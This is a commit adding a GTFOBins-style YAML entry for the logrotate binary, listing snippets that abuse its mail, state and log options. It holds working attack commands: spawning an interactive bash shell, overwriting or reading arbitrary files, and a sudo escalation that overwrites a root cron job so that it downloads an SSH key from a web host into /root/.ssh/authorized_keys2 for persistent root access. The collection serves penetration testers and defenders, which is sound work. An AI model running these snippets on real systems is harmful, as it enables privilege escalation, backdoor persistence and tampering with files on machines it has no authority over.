Add logrotate.

_gtfobins/logrotate.md

@@ -0,0 +1,37 @@
+---
+functions:
+  command:
+    - description: Requires a logrotate policy which uses the `mail` directive. A hash should be used as the final character in the command, as it is run with a few arguments.
+    - code: |
+        COMMAND='id &> /tmp/output #'
+        TF=$(mktemp)
+        echo "$COMMAND" > $TF
+        chmod +x $TF
+        logrotate -m "$TF" -v -f logrotate.policy
+  shell:
+    - description: Requires a logrotate policy which uses the `mail` directive.
+    - code: |
+        COMMAND='/usr/bin/bash -i #'
+        TF=$(mktemp)
+        echo "$COMMAND" > $TF
+        chmod +x $TF
+        logrotate -m "$TF" -v -f logrotate.policy
+  file-write:
+    - description: Creates or overwrites the file with the exact text `logrotate state -- version 2`
+    - code: |
+        LFILE=file_to_write
+        logrotate -s "$LFILE" logrotate.policy
+    - description: Creates or overwrites the file with junk data in combination with arbitrary data.
+    - code: |
+        LFILE=file_to_write
+        DATA=data_to_write
+        logrotate -l "$LFILE" "$DATA"
+  file-read:
+    - description: Reads the first 'word'.
+    - code: |
+        LFILE=file_to_read
+        logrotate "$LFILE"
+  sudo:
+    - description: If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. Note: this will overwrite `/etc/cron.daily/man-db` with a cronjob.
+      code: sudo logrotate -l /etc/cron.daily/man-db '2>/dev/null;wget https://example.com/ssh.key -O /root/.ssh/authorized_keys2; exit 0;'
+---